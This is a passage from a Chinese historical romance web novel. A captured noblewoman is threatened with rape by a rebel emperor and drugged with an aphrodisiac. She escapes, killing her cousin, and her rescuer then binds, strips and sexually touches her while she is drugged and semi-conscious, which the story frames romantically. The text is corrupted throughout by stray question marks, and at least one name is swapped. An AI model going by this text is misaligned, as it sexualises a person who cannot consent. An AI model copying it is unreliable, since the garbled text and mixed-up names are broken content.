刚走到殿门口,宗瑁脚步又顿住,不停向后退。 来人淡淡说道:“皇儿,你这是去哪儿?”慢慢走了进来。 见到宗缙的?那?一瞬间,沈棠宁脑袋“嗡”的?一声,怔住了。 与此同时,宗缙的?双目也朝宗瑁身边的?沈棠宁扫了过?来。 沈棠宁见过?无数双眼睛,但迄今为止从未有?一双眼睛,如宗缙这般令她只看了一眼便不寒而栗,毛骨悚然。 这个男人高?鼻深目,下三白?,褐色的?瞳仁中闪着阴冷灰暗的?光泽,头发微微卷曲,带有?明显的?异族人与周人结合的?特征,年纪四十岁许。 便是他在朝廷之中素有?谄媚、心狠手辣的?恶名?,如今更是犯下叛逆谋乱之举,生得却非但不面目可憎,常年的?戎马生涯反而使他十分英俊高?大。 即便是站在自己更为年轻的?儿子宗瑁面前,他身上那?种?不经意间散发出来的?威严气势就已?经令周围人难以?自抑地生出敬畏胆寒之心。 在宗缙看过?来之时,沈棠宁立即低下了头。 宗瑁紧紧握住沈棠宁的?手,将她拉到自己的?背后去,面上堆起笑道:“父皇,这是儿臣新纳的?宠姬,她出身乡野,不懂礼仪,儿臣这就让她滚出去!” “不必。”宗缙抬起手道。 打从看到沈棠宁的?那?一刻,宗缙的?目光就没有?从她的?身上移开过?。 他的?眼神宛如阴湿、吐着殷红蛇信的?毒蛇般上下扫视着她,即便沈棠宁低着头,也能深深地感受到那?种?刻入骨髓的?阴毒,无孔不入地淹没包围了她,令她浑身都情不自禁起了一层鸡皮疙瘩。 “出身乡野?” 宗缙轻笑了起来。 “朕怎么觉得,你这宠姬似曾相识,极是面善?” “父皇——” 宗瑁一语未落,宗缙双手如电,一把钳住沈棠宁的?手腕便将她钳到了面前,而宗瑁则被宗缙的?两名?侍卫长死死按住。 “谢夫人,真不愧是京都第一美人,说起来,今日算是我们第二次相见了。” 沈棠宁震惊地抬起头来。 四目相对,宗缙依然在笑着,只是那?笑容却丝毫没有?到达眼底,反而透着股浓重的?杀意。 很显然,宗缙从一开始就认出了她。 并?且,他想杀了她…… 在宗张叛乱之前,沈棠宁只是个久居深闺之中的?弱女子。 乍见到宗缙的?时候,她心乱如麻,惊惧不已?,本以?为自己会腿软的?直接倒在宗瑁的?身后,但在最初的?恐惧退去之后,她心中得到的?竟是前所未有?的?平静和?绝望。 沈棠宁闭上眼睛。 “乱臣贼子,人人得而诛之,要杀便杀,我绝无二话。” 殿中燃着数十盏烛火,落在眼前女人的?脸上,她的?发长而乌,肌肤白?皙得宛如蓟州草原上的?璀璨明珠,那?双杏眼乌浓似水,细眉若蹙,天然流露出一抹娇弱楚楚的?动人姿态,即便是在这样狼狈的?时刻,她依旧美得端庄从容。 “好!有?骨气!” 宗缙虎目炯炯,哈哈大笑了起来,抬起沈棠宁的?下巴道:“谢夫人,你可知你夫君和?郭尚在河北杀死了朕多?少燕国?弟兄,那?些都是朕悉心教养出来的?士卒,他一声令下就将他们打得屁滚尿流丢盔卸甲,倘若他知道他的?夫人落在了朕的?手中,你说他会怎么想?” “朕是先把你犒军,还是先杀你祭旗,嗯?” 他的?指腹摩挲着掌下细滑柔嫩的?肌肤,凑过?去玩味地看着沈棠宁。 察觉到她的?身体似乎在轻轻颤栗,脸色也终于如他意料中一点点地变白?,这种?报复的?快感令宗缙心情愉悦,低声自语道:“不过?这样一个楚楚可怜的?美人,先杀了似乎太过?可惜?” 宗瑁闻言脸色大变,急道:“父皇!你不能碰她,儿臣求你绕过?她,她是无辜的?!” 挣扎着就要冲上前去,哪知宗缙突然转身一掌扇在宗瑁的?脸上,喝道:“孽畜,什么时候也轮到你来置喙朕!” 宗瑁跌倒在地上,挣扎着还想爬起来。 “父皇!” 宗缙将沈棠宁扛于肩上,转身大步走了大殿。 “放开我!畜生,你有?本事杀了我!杀了我!” 沈棠宁不停地挣扎捶打着宗缙。 宗缙冷笑道:“劝你省省力气,等会有?你叫的?时候!” 一开始沈棠宁还在声嘶力竭地叫喊着,后来也不知行了多?久,待宗缙把她扛至一座宫殿,毫不怜香惜玉地扔到床上时,发现床上的?美人已?经停止了徒劳无功的?挣扎,只是在闭着眼睛默默地流泪,大有?逆来顺受之态。 “还以?为谢夫人是什么贞洁烈女,原来也不过?如此!”宗缙讥诮道。 “早在闺中时,我便听闻大王威严如山,治军有?方?,因有?大王镇守边关,异族无不归附,心生仰慕之意,没想到今日一见,原来都是我的?错想。我不过?一介手无缚鸡之力的?弱女子,大王既因夫君迁怒于我,要用我来犒军祭旗,我又如何能有?拒绝的?权利?” 那?泪珠子挂在她浓长的?睫毛上,她刚一开口,便一颗颗犹如珍珠般顺着脸颊滚落了下去。 这世上大约没有?任何一个男人能拒绝得了一个美丽女人的?赞美和?哀怨的?控诉,即使这个女人是他死对头的?妻子。 她泛红的?眼眶,一字字句句的?低语柔声,默然无语的?哭泣,恰到好处地浇灭了男人来时满腔的?怒火。 宗缙面色稍霁,冷冷哼道:“谢夫人,你莫怪朕不怜香惜玉,要怪只能怪你自己当初嫁错了人,你便是当初嫁给任何一个男人,也不必落到今日这般境地!” 沈棠宁心中微松了口气。 他跪坐起来,恳求他道:“大王,您也有?父母儿女,妾亦有?母亲女儿,倘若您心中还有?一丝怜悯,求您赐妾一个体面的?死法?。” 宗缙抬起她的?下巴,目不错珠地盯着她道:“谢夫人,你也可以?不用死,只要你愿意。” 他的?食指顺着她修长的?脖颈慢慢下滑,一面感叹眼前女子肌肤如凝脂般的?细滑,一面低低笑了起来。 这样绝世的?美人,杀了实在太过?可惜。 “谢夫人,谢临远不过?是个二十出头的?毛头小子,他怎懂得怜香惜玉,体贴美人,一定叫你深闺寂寞了许久吧?你若跟了朕,朕日后绝不会亏待你。” 沈棠宁颤声道:“你,你明知宗瑁他对我……” 宗缙手中顿了一下,淡淡道:“那?个畜生,屡次以?下犯上,终有?一日朕要废了他!” 沈棠宁刚燃起的?希望,彻底灰飞烟灭。 他的?手每过?一处都令沈棠宁毛骨悚然,几欲作呕。 眼看着那?双脏手伸到了自己腰间的?系带上,沈棠宁的?心跳都要出了嗓子眼。她强忍住想要皱眉去躲的?欲望,屏住呼吸闭上双眼,攥紧了手中的?碎瓷片—— 那?是适才在殿中宴席中从宗瑁摔碎的?狼藉中偷偷拾得的?。 她的?父亲十五年前为了保家卫国?战死沙场,他的?女儿即使再懦弱,也绝不可能为了苟且偷生委身给一个十恶不赦的?反贼! 而她,只有?一次机会。 宗缙在朝堂纵横捭阖多?年,若说他平生最大的?政敌,非耿忠慎与黄皓莫属。 偏偏耿忠慎死后,黄皓也老眼昏花了,又蹦出个谢瞻来。 性?情却狂放高?傲,目中无人,从不将他这个异姓王放在眼中,而宗缙身为长辈却无法?与谢瞻这个小辈计较。 更不必提在不久前的?河北战场与居庸关之战中,谢瞻是如何将他的?精锐之师打成了丢盔卸甲的?孙子!而眼前的?这个女人是谢瞻的?女人,宗缙想,有?什么比占有?死敌的?女人更叫人兴奋的?事情! 对于寻常男人来说都已?是奇耻大辱,更不必提谢瞻这般嫉恶如仇的?男人。 不过?谢瞻的?这个女人,也的?确比宗缙想象得还要青春美丽,她柔顺楚楚脸庞令宗缙生出了无限的?怜惜之心,轻轻抚摸着她颤抖的?腰肢微笑道:“夫人,你怕什么,朕又不是洪水猛兽?今晚你好好伺候朕……” 就在这时,门外突然有?人喊道:“陛下,军情急奏,军情急奏!” 门外的?宦官喊了数声不见应答,不死心地又叫了起来。 “给朕滚出去!”宗缙吼道。 那?宦官却苦声叫道:“陛下饶命啊,当真是军情急报!薛将军说执失伯都率领了约莫几千人的?队伍来了太原,如今那?些契人就聚在城门下叫嚣着要进城!” 一听到执失伯都的?名?讳,宗缙眼底的?情欲之色顿时消失得无影无踪。 他起身不甘心地看了一眼沈棠宁,丢下一句“等朕回来”后便大步离去。 宗缙离开之后,沈棠宁急忙起身把衣服整理好,在殿内四下寻找脱身之处。 看的?出来宗缙十分忌惮那?名?叫做执失伯都的?契人,倘若今夜契人前来攻城,或许她可以?趁乱逃出,只是这大殿之中紧闭森严,宗缙离开之时她还看见门外立有?三四个侍卫,该如何将这些侍卫引开呢? 正苦思冥想间,殿门忽地从外被推开,走进两个绿衣婢女,上来不由分数挟住沈棠宁,往她口中强灌下一物。 沈棠宁连忙咬紧牙关,却不及那?似水似酒般酸涩的?物什顺着喉咙就飞快滑入了腹中。 喝完之后沈棠宁便觉头脑晕眩,口干舌燥,连自己什么时候被二婢扶到了床上都不清楚,只觉小腹似被烈火包围灼烧,难受异常。 第56章 入夜,城内喧嚣如沸,太原宫中灯火通明,沈棠宁被耳旁一阵纷杂有力的脚步声和喧阗生吵醒。 刚睁开眼,便被眼前刺目的灯光晃闪了一下。 沈棠宁连忙用手挡住脸,微微蹙眉。 身下是柔软的床铺……在昏睡过去之前,发生了什么? 她似乎很难受,头?晕目眩,燥热难耐,口中也十分渴…… 不对,那些婢女给她喝了什么东西?! 沈棠宁猛地从床上坐起来,检查自己?的身体。 所幸衣服是干净而没有一丝褶皱的,探入衣内,身上也没有丝毫异常之处,反而清清爽爽,闻起来似乎还?散发着淡淡的香气。 她沐浴过。 这些她都?不记得?了。 沈棠宁扶着额下床。 隔间中立着一扇一人高的紫檀凤头?雕花梳妆镜,随着她慢慢地走近,镜中映照出一个女子婀娜的身影,美丽的光彩几乎令周围镶嵌着大片明珠宝石的首饰与名贵器具都?黯然失色。 海棠红色的团花软缎抹胸裙,抹胸紧紧束住胸口,只能堪堪裹住那两抹轮廓巍峨的雪峰,露出胸前大片雪白柔腻的肌肤,外罩一件水红色撒花金丝镶边长褙子,裙摆拖地,脚上却什么都?没有穿,一双纤瘦的玉足踩在干燥的茵褥上。 发髻高高挽起,仅用几根玉簪金钗斜插髻中,面上却浓妆艳抹,红唇雪肤,格外刺目。 看来宗缙还?会再回来。 沈棠宁心?砰砰直跳,立即倒了桌上的茶水将脸上的妆容卸了个干净,发髻打散,绑成?一个辫子在脑后。 屋里没有多余的衣服,她便只好将褙子交叉绑在了胸口。 此时门外喧哗的动静越来越大,沈棠宁猜测可能是契人攻进来了,竖起耳朵贴到门上,隐约听到门口两个侍卫在说话 其中一个果然说道?:“我去看看外面发生了什么事,莫不是契人打进来了?” 另一个催他快去快回,接着就?没了动静。 沈棠宁心?中一喜,思量片刻,回到殿中先拿起一只蜡烛点燃了床帏,等火势烧旺后又将所有的灯烛灯盏都?推倒在了地上。 侍卫听到殿内沈棠宁哭着喊救命走水了之类的话,唬了一跳,想也不想用钥匙打开门就?冲了进去救火。 谁知刚进门脑后猝不及防被一只大花瓶挨了重重一击,翻着白眼就?晕倒在了地上。 沈棠宁见那侍卫晕倒了,蹲下用手试探了下他的脉搏气息,确定他一时半会醒不过来,便飞快地扒下侍卫身上的衣服换上,离开时拿走钥匙关上了大门,将钥匙丢进了对面的湖水中。 显然今夜的太原宫并不太平,婢女宦官们纷纷四散而逃,或是有成?群的侍卫匆忙举着火把快步跑过,一路上并没有人发现沈棠宁逃了出来。 刚被掳到太原宫时,宗瑁为了防止她逃跑将她整日幽闭在宫殿当中,后来发现沈棠宁绝了自尽的念头?,便逐渐放开了对她的禁制。 但凡是走出宫门,沈棠宁必定会记忆每个宫殿之间的路线,以及侍卫们换班的次数时间,夜里在脑中反复回想,为的就?是有朝一日也许自己?能够从太原宫中逃走。 麻烦之处就?是出宫的线路她只有来的时候见过一次,并不确定如今自己?走的这条小路到底能不能出宫。 “银安殿走水了,快,快去救火!” 这时一群人拎着水桶急匆匆迎面跑了过来,沈棠宁躲闪不及,连忙去寻躲避之处,转身时突然从黑暗中同?样行色匆匆跑来一个人,两人撞在了一处。 抬头?一看,各自大吃一惊。 所谓仇人相见分外眼红,沈芳容一见沈棠宁便瞬间变了脸,尖叫着扑上来抓挠,两人滚到在地上,沈棠宁瘦弱,被沈芳容抓住头?发动弹不得?。 “都?是你,是你害我家破人亡,是你害我嫁不出去,全都?是你的错!” “放……放、手!” 可惜这群救火的太监宫女很快便跑远了,两人不知相互撕扯了多久,沈芳容也没力气了,闻言停下来气喘吁吁,俯身恶狠狠地瞪着沈棠宁。 “放手?不!我要你带你去死!不——我现在就?要你死!” 沈芳容哈哈大笑起来,疯癫地说道?:“姐姐,如果我到了敌军手中,凭着这样一张美貌的脸,你猜世人会如何揣测你?就?算你再纯洁无瑕,失了贞洁的你也只有死路一条,你还?有什么面目苟活于?世,去见我们死去的祖父祖母!” 说罢突然疯狂地掐住了沈棠宁的脖颈,那张狰狞的脸扭曲得宛如夜幕下的魔鬼。 沈棠宁说不出话,一面艰难地呼吸着,一面费力地摸袖中的金簪。 宗缙才不会担心沈棠宁会不会寻死,那替她绾发的簪子极是尖锐。 蓦地攥住她?*脖子的手一松,与此同?时,沈芳容的动作戛然而止,喷涌而出的滚烫鲜血四溅在了沈棠宁的脸上。 沈棠宁推开沈芳容的尸体,干呕了几下,不敢多耽,她胡乱抹了把脸上血就跌跌撞撞向来路跑,恰巧小路的尽头?立着一匹马,那马见到生人竟也不反抗,任凭她骑上马便带她朝着行宫大门外跑去。 “站住!孤命你站住!” 宫门口,两行人正厮杀得不分敌我,如火如荼,哪里注意到有人浑水摸鱼,眼看她就?要趁乱跑出宫门,突然有人大喊。 喊了几声没有喊住,宗瑁立即就?追了上来。 沈棠宁体力不及宗瑁,很快被他追上并行,头?上所戴的兜帽随风掉了下去,露出一张雪白的,沾满了血污的女子面容。 宗瑁失而复得?,心?中怎能不惊喜,忙抓住她的手腕道?:“团儿这里危险,你快跟我回去,我不会再容父皇欺辱你!” 沈棠宁却道?:“宗世子,求求你放我走吧,你若强留我,我今夜便唯有一死了!” 眼前的女子流着泪水,唯有那双杏眼依旧那么乌黑清澈,满是哀求地看着他。 宗瑁心?神一震,难以置信道?:“你为何非要寻死,跟我难道?不好吗?团儿,你是不是还?在怪我没能护住你?” 沈棠宁说道?:“不,我不是怪你,我只怪我自己?命不好,这辈子我只想与我的家人、女儿在一处,哪怕你对我再好,那些都?不是我想要的!你知道?吗,你每回杀人,我心?里都?深恨我自己?无能,若不是因为我,那些无辜之人便不会惨死,我恨不得?代他们去死!” 宗瑁从没想过,他会给沈棠宁带来这么多的痛苦。 自从将她掳到太原宫之后,就?从未有一日见她真心?笑过,宗瑁死死地攥着她的腕,眼底流露出挣扎之色。 难道?,他是真的做错了吗? 沈棠宁感?觉到攥着她手腕的那只手在渐渐松开,心?里也随之高高悬了起来。 就?在这时,斜刺里忽毫无预兆闪出一抹银光,直直冲着宗瑁的面门而来。 宗瑁大惊,幸亏躲闪及时,从马上跌到地上,仍旧被对方削掉了一缕头?发。 那人身手矫健,从马上一个翻身跳下来,转眼便跳到了沈棠宁身后,不及宗瑁反应过来便从背后抽出一把刀再次要朝着他的咽喉砍去。 这人显然是要取宗瑁性命,刀刀都?如风凌厉,仿佛带着恨意般,砍下去的力道?都?用了十足十,将地面震得?“隆隆”作响。 宗瑁满头?大汗,狼狈在地上躲闪翻滚着,险些被砍掉一条胳膊,眼看那闪着银芒的刀刃就?要落在自己?的身上—— 宗缙自以为今日难逃一劫,遂闭目待死。 却不料沈棠宁拉住了谢瞻。 “再有下一次,我谢瞻定取你之命!” 半响,宗瑁睁开眼,只听谢瞻丢下这句话,便一夹马腹,搂着马上的沈棠宁疾驰而去。 …… 谢瞻将沈棠宁带到了安全之处,摘下她头?上的兜帽。 夜风在耳旁幽咽地吹过。 “哭什么?” 他抚摸着她吓得?雪白的面旁,哑声说:“他们欺负你了?” 这一路上她一直在哭,泪水浸透了谢瞻肩膀和胸口的衣料。 沈棠宁不说话,只是将脸抵在他肩上无声地啜泣着。 谢瞻捧起她的脸来,她的泪水早已流了满面,谢瞻既心?痛,又愤怒、自责,却只能无力地从袖中抽出一条干净的帕子,轻轻地帮她拭去脸上血污。 直到这一刻,数日来压抑的恐惧、羞耻、绝望好像终于?找到了决堤口,沈棠宁的哭声越来越大,最后甚至哽咽地大哭起来,扑进了男人的怀里。 谢瞻死死地攥住十指,掐进自己?的掌心?里,良久,深吸口气,重新往怀中女子颤抖的身子上披了一件干净的披风。 长忠跟着他寻到一处高地爬上。 城郊西山,山脚下城池灯火如昼,不论多么强大的人都?化作了战场上的一只蝼蚁,血流如注,尸身成?山。 长忠用千里眼观察完毕,指着不远处的一个人道?:“世子,那人便是宗景先。” 谢瞻从长忠手中取过白虎弓,弯弓搭箭,对准宗缙心?口。 “嗖”的一声。 与此同?时,从谢瞻相对的方向也有一只箭矢破空而来,宗缙的亲卫发现了这只箭,拼尽全力去推宗缙。 宗缙一抬眼侧身,瞳孔骤然一缩。 然而再躲也来不及了,那两只箭矢齐齐射偏,一支射穿了宗缙的右眼,一支插在了他的后背上,距离心?脏最近之处。 宗缙坠马,敌军顿时军心?大乱。 “世子,对面有人!”长忠惊道?。 谢瞻放下弓,对面的男人也在和他做着相同?的动作。 狭路相逢。 谢瞻攥住了手中的白虎弓。 三息之后,两人对视一眼,不约而同?地选择无视对方,掉转马头?而去。 …… 谢瞻用四天四夜的的时间从河北连夜赶到太原。 宗缙担任蓟州节度使?时排除异己?,树敌太多,为了赢得?隆德帝器重,大肆残杀契人。 太祖爷自建国之后,多次北伐将契人驱逐至漠北,后契国内部分裂为东西两契,多年来内部纷争不断。 起先东契势大,四处欺凌周围弱小国家。一百年后东契逐渐走向没落,西契强势崛起,自二十年前西契首领汗主默答之父铁力继位后更是达到了巅峰。 到默答继位,朝中不乏亲周派与仇周派,亲周派乃是以默答宠妃察兰汗妃及汗妃养子伯都?为首,而仇周派的首领则是左丞相土勒等人。 多年来两个党派相互倾轧,互不相让,而默答的态度却十分不鲜明。 宗缙年轻时曾跟随义?父张元伦巡边蓟州,遇上察兰汗妃六岁的大儿子阿弥坦微服偷跑出宫游玩,宗缙不知阿弥坦是察兰汗妃之子,为了立功将阿弥坦及身边所有侍从残杀。 自此察兰汗妃对宗缙恨之入骨。但宗缙谋反之后又不得?不反过来去讨好契人,否则只要他一离开朔方和蓟州,契人便会趁虚而入直捣他的大本营。 自宗缙生出反心?之后,这几年来苦心?经营,多次向默答与察兰汗妃进献金银珠宝,态度谦卑,并许诺只要他担任蓟州节度使?一日,便绝不再动契人一根手指头?。 时日一长,西契与宗缙的关系渐渐不再紧张。 宗缙在京都?吃了败仗,折损数员大将,连自己?宠妃的哥哥都?折在了里头?,再也坐不住,猜测到郭尚与谢瞻也许很快就?会筹措大军来攻打山西,于?是连夜赶到太原预备御驾亲征。 他本以为抓住了沈棠宁是个极好的羞辱谢瞻的机会,没想到谢瞻行动的速度是如此之快,今夜竟会命手下士兵假扮成?契人要求入城。 那守城士兵见城下叫嚣的军人个个生得?高鼻深目,五大三粗,且都?操着一口流利的契语,误以为是西契派了人来,匆匆去报。 好巧不巧,西契的丞相土勒确实曾与宗缙书信往来,那阔死后,默答认为宗缙不成?气候,选择作壁上观,宗缙心?急如焚,向老丈人土勒求救,土勒也承诺会说服默答支援宗缙。 土勒不仅与宗缙私通多年,甚至把自己?小女儿嫁给了宗缙为妾,前不久死在居庸关之战中的那阔就?是土勒的儿子。 宗缙虽高兴来了援军,却也未被喜悦冲昏头?脑,而是犯了疑心?病。 依着土勒信中所言,至少还?有两日方能到,怎会莫名提前? 他下令士兵先不要开城门,准备亲自来迎接援军,却没想到太原城中早就?混入了谢瞻的内应。 谢瞻在城外一声令下,城中内应立即大喊谢瞻与郭尚带着朝廷军攻进来了,宗缙的这些叛军如今闻谢郭二人名号丧胆,瞬间整个太原城人心?惶惶,军心?大乱。 趁此良机内应们更是一举打开了城门,宗缙的士兵们擅长野战不擅守城,城门沦陷,谢瞻将白蹄乌放入城中。 白蹄乌虽性烈却极通人性、守忠诚,找到沈棠宁后马不停蹄将她从行宫中驮离了出来。 不过谢瞻这次来太原主要为救沈棠宁,带的人并不多,兼之目下局势中似搀进了西契人,是以并不恋战,找到人后便迅速而有序地撤退,连夜退居到远在太原百里之外的灵武。 翌日,灵武城。 谢瞻焦灼地看着床上双颊通红,口中呓语不停的沈棠宁,问大夫道?:“她目下怎么样?” 老大夫苦着脸道?:“将军恕罪,恕老朽也无法判断夫人是生了什么病,不过就?目前的情况来看,应当不是伤寒之病,倒像是中了……” 老大夫顿住。 谢瞻心?中忽有不好的预感?。 “您但说无妨。” 老大夫叹了口气。 “像是某种青楼楚馆中不入流的春.药。” 默了片刻,谢瞻霍然站起来上前一把抓住老大夫的衣领子喝道?:“放屁,你再给老子说一遍!” 长忠惊得?也连忙站了起来,老大夫却看着他坦然道?:“谢将军,老朽医术不精,也看不出谢夫人究竟中了何种春.药,但事已至此,您发再大脾气也没有任何用处。” “您放心?,这事会烂在老朽的肚子里。” 直到老大夫走了许久,谢瞻依旧呆呆立着没有回过神来。 这已经是宁州城中医术最高明的大夫了。 沈棠宁似有所感?睁开了眼睛,迷迷瞪瞪地见他一动不动地看着自己?,疑惑而低柔地唤道?:“阿瞻,阿瞻……” 谢瞻蹲了下去,抚摸她滚烫的脸。 “团儿,我在这里。” 他的嗓音有些沙哑,还?带着一丝颤抖,沈棠宁却觉得?那手掌纹路上的茧子磨得?她既难受又舒服,而且这手掌厚厚凉凉的,她忍不住用脸蛋蹭了蹭,喃喃道?:“阿瞻,我好热,好难受,你帮我找大夫看看好不好?” 她的声音中不知不觉带上了撒娇的意味,好像这样谢瞻就?可以尽快帮她。 从谢瞻把她从太原城中带回来的这一路上她都?难受极了,只是刚开始不过是强忍着不想说,不愿意麻烦谢瞻。 但是渐渐地她也控制不了自己?的意识,她真的很热很燥,那种燥热像是从脚底板爬上来的,热得?她喘不上来气,口干舌燥,如跗骨之蛆一点点蚕食着她的理智。 她难受得?将藏在被下的双腿交叠,摩擦,可是这些还?不够,远远不够。 她说不清自己?究竟哪里难受,身体里面好像有个黑洞空虚得?要命,她想将这黑洞填满。 她哭着去蹭谢瞻,乞求他救救她。 可无论她怎样哀求,他却总是把自己?的手抽出来按住她,呵斥她不要乱动。 而后她也不知他是做了什么,等她回过神来的时候他竟将她的手脚都?绑了起来,叫她一点都?动弹不得?。 沈棠宁委屈极了,哭着大骂他混蛋。 弄到最后两人都?出了一身汗,谢瞻绑好了沈棠宁,手在装满冰水的木桶里试了一下温度。 再看看怀里红着眼眶瞪他的沈棠宁,就?她这幅柔弱的小身板,莫说受不住这冰水,倘若真把她放进去,怕是会气得?立即跳起来咬他。 谢瞻思量再三,将沈棠宁放到了床上,而自己?则脱下衣服泡进了冰水里。 很快他便感?觉到浑身被冻得?冰凉,不过这样的温度对谢瞻而言却算不上什么,他不敢冻得?太冷,从水桶中出来简单地擦了擦,走到床边。 沈棠宁大约是喊累了,奄奄一息地歪在床边,只时不时地啜泣两声,谢瞻轻触她晕红的脸庞,她便像个小孩子一样含糊地哼唧了起来。 谢瞻闭上眼,下狠心?剥光了她的衣服。 尽管他浑身已经被冻到麻木,但接触到她肌肤的那一刻,身体还?是不可避免地产生了反应。 幽暗的光线下,她雪白的肌肤莹润、细滑,宛如一匹上好的丝绸,触手令人惊叹的细腻如脂。 谢瞻不敢再多看,强忍着身体中蚀骨的欲.望,将她翻过身子用双臂环住,大腿压住她的小腿防她乱动。 那冰凉的肌肤相触的那一刻,冻得?她立即一叠连声娇呼起来。 但因被绑住了手脚,她只能像条滑腻的鱼儿在谢瞻怀中不停地扭动,哭得?泪眼汪汪,单薄的双肩一抖一抖,很是伤心?。 “团儿。” 谢瞻低低地,无奈地唤她。 拨开她颈后湿成?一缕缕的发,她掉了很多眼泪,眼睛肿成?了一颗红红的桃子,长长的睫毛都?是湿润了。 谢瞻想给她擦泪,手一伸过去她便嘤咛着含住了他的整根指,在湿滑红软的口中舔咬。 …… 两人像是打了一场大仗般,各自汗出如浆,她同?样娇吁微微,压在他臂下的可怜雪团也随着呼吸上下起伏,小嘴儿一张一合地朝着他的脸,吐出如兰香甜的气息。 谢瞻看怔住了。 眼前的沈棠宁,红润的脸蛋,迷蒙似水的杏眼,眼角眉梢尽是平日里没有的妩媚风情……… 沈棠宁突然感?觉自己?被人咬住了。 那微微心?口刺痛的感?觉,她呜呜地叫了起来,唇舌似要被人吞食一般地吸吮搅动着,她觉得?自己?要窒息,喘不上气。 痛…… 可是这种感?觉非但不令她排斥痛苦,反而奇异地纾解了她身体里的燥热,感?觉自己?整个身体宛如泡到了带着微凉水意的汤泉里。 直到身上那重量猛地一顿,再度将她按住之后骤然离去,迎接她的又是那堵冰冷的墙。 她像个孩子一样气恼大哭,手脚并用捶打他,把身子缩成?一团去防御,就?是不给他碰一下。 如此反复几次,不光沈棠宁痛苦,谢瞻更是心?神俱疲。 除非一刀杀了他,否则绝无可能让他面对自己?心?爱的女人在怀依旧毫无反应心?如止水。 他不得?不中途去净房自己?纾解,然而只要回来一抱住她雪白柔软的身子,他又难以抗拒地生出欲.望。 那欲.念犹如生根发芽般长成?参天大树,折磨、诱惑着他。 或许,也并不是非要那样做,他也可以像给自己?纾解一样帮她纾解。 这个念头?在谢瞻脑中一闪而过。 …… 沈棠宁醒的时候,午后的湛蓝的天空上飘着几抹白云,一缕轻柔的微风自半开的窗棂缓缓吹进帐中。 浑身像被揉过的面团一样酸软无力,沈棠宁揉了揉眉心?,废了好大力气才?能勉强才?床上坐起来,打量着屋内的装饰。 淡粉色的纱帐,茜红色绣鸳鸯戏水的被褥,下了床东侧的隔间里陈列着一张镜台,匣中装满了首饰珍宝,装饰赫然是她曾经在宁州住过的驿站。 她有点记不起来,怎么又回到宁州了? “姑娘,你终于?醒了!” 沈棠宁转过身,原来是锦书端着新衣服走了进来,惊喜道?。 主仆相见,两人都?忍不住红了眼,锦书哽咽着扑进沈棠宁的怀里。 “若不是世子救您,我还?以为再也见不到姑娘了!” 沈棠宁还?记得?是谢瞻救了她,只是不记得?从谢瞻救了她之后的事情。 “他去哪儿了,这会在不在?” 锦书目光却躲闪了一下,支吾道?:“世子他,他有公务要忙,不在……姑娘你一早没吃饭,饿了吧,我让人给你做了饭,您先去吃饭好不好?” 说着就?把沈棠宁往明间里推。 丫鬟们陆续上了冒着热气的饭菜,沈棠宁有心?事就?不是很有胃口,勉强吃了两口,看见锦书在里面收拾床铺,便走过去轻声问:“锦书,我睡了多久,我都?不记得?……” 无意看见那床铺似乎十分凌乱,两块揉成?一团的帕子被丢在床尾的位置,粉色的被褥上面还?有几点已经干涸白色的斑痕。 她怔了一下,没等她看清楚锦书就?飞快地把床铺卷了起来,笑道?:“姑娘,世子连夜带您来了灵武,您一路舟车劳顿,途中就?昏睡了过去,现在是巳时一刻,您也没睡多久呢,腹中一定饥饿了,快再去用些饭吧!” 把卷好的床铺交给小丫鬟,推着催促沈棠宁走了出去。 第57章 热气氤氲。 水漫过胸口,肩头,脖颈,直到整个身体都被温热的水流包裹住,浸入水里。 活了十七年,沈棠宁第一次做春梦。 那些支离破碎,叫人脸红心跳的画面在脑海中?一幕幕闪过…… 她躺在床上,双手被绳索缚住。她在与谢瞻疯狂地?交吻,梦里的她甚至主动地?伸臂抚摸他的胸口,仰起头回应他。 他若一动不动只看她,她还会急切委屈地?哭泣,像个吃不到窝丝糖的孩子一样。 他有时亲吻她的脚踝,有时亲吻她的眼?睛,或是用?手温柔地?抚摸她的发?顶,再慢慢下滑…… 她成了他的手下败将,无?力地?瘫倒在他的怀中?,嘤嘤哭出声来?,被缚住双手却只能紧紧地?抓住他支在一侧的手臂,指甲陷进他的肉里。 那小臂已然青筋绷起,硬如铁杵,却好像是她唯一可以依靠求生的稻草。 …… “哗”的一声,沈棠宁从水中?出浴。 她使?劲晃着自己的脑袋,意图将这些凌乱的画面驱赶出自己的意识中?。 这一定都是她做的梦。 不,这不是梦,如果这是梦,为什么她的脚踝和手腕上会有被绳索缚过的红痕? 也不对,谢瞻无?缘无?故为什么要绑住她?这根本不合情理,她与谢瞻并非两情相悦,如果她没记错,谢瞻这会应当已经迎娶了公主。 更不必提交吻、乃至做出那等夫妻间?才会有的床.笫之欢……除非她发?了疯,否则绝不可能丧失理智,与谢瞻做出那等事! 沈棠宁如是安慰自己,看着夜幕一点点黑沉了下去,谢瞻仍旧没有要回来?的消息,她反倒松了口气。 或许是她这几日受了太多的刺激,太累了,才会做那样的梦,她真该好好休息休息了。 夜深了,锦书给她端来?一碗药。 “白天用?完膳后?不是喝过了么,为何还要吃?”沈棠宁不解。 锦书不敢抬头看她,含糊道:“这安神药每日需饮两幅,昨夜您睡下后?说了许多梦话,大夫说您喝了早些歇下,今晚能睡一夜好梦。” 锦书说的没错,看来?果然是她自己想多。 沈棠宁遂放了心,将漆黑的药汁一饮而尽。 喝完药锦书却不着急走。 “姑娘,您要是哪里有不舒服,千万要告诉我,夜里喊我起来?,不要怕麻烦。” 沈棠宁有些诧异她满脸的凝重,不过仍是应了下来? 锦书走到门后?,又?扭头多看了她两眼?,这才慢吞吞地?关上门。 大概是因为她被宗瑁掳走了两次,所以锦书才会变得小心谨慎吧。 沈棠宁躺到床上。想到宗瑁,她的确有满腹的话要告诉谢瞻,也有许多的问题想问他。 谢瞻,谢瞻的手,他的唇…… 一刻钟后?,沈棠宁沮丧地?翻个身,捂住自己的眼?睛。 为什么只要她一闭上眼?睛,那些画面就忍不住出现在自己的脑海中?? 往日里她最喜欢枕着芭蕉落雨和螽斯虫鸣声入睡,今夜为何如此惹人厌烦! 沈棠宁翻来?覆去睡不着,越来?越热,干脆起身把中?衣都脱了,才发?现后?背出了一身的虚汗。 她用?帕子擦干净汗,重新躺回床上,仅仅这样简单的几个动作,都仿佛耗尽了她所有的力气。 她摸了摸自己发?烫的脸颊,迷迷糊糊地?想,她是不是生病了,不然怎么这样热? 还有她的心口,实在烦闷得难受,喘不上来?气似的。 她去揉自己的心口,口中?含混不清地?嘤咛出声。 ………… 他的手很大,掌心也厚厚的,虎口的指腹上长满了茧子。 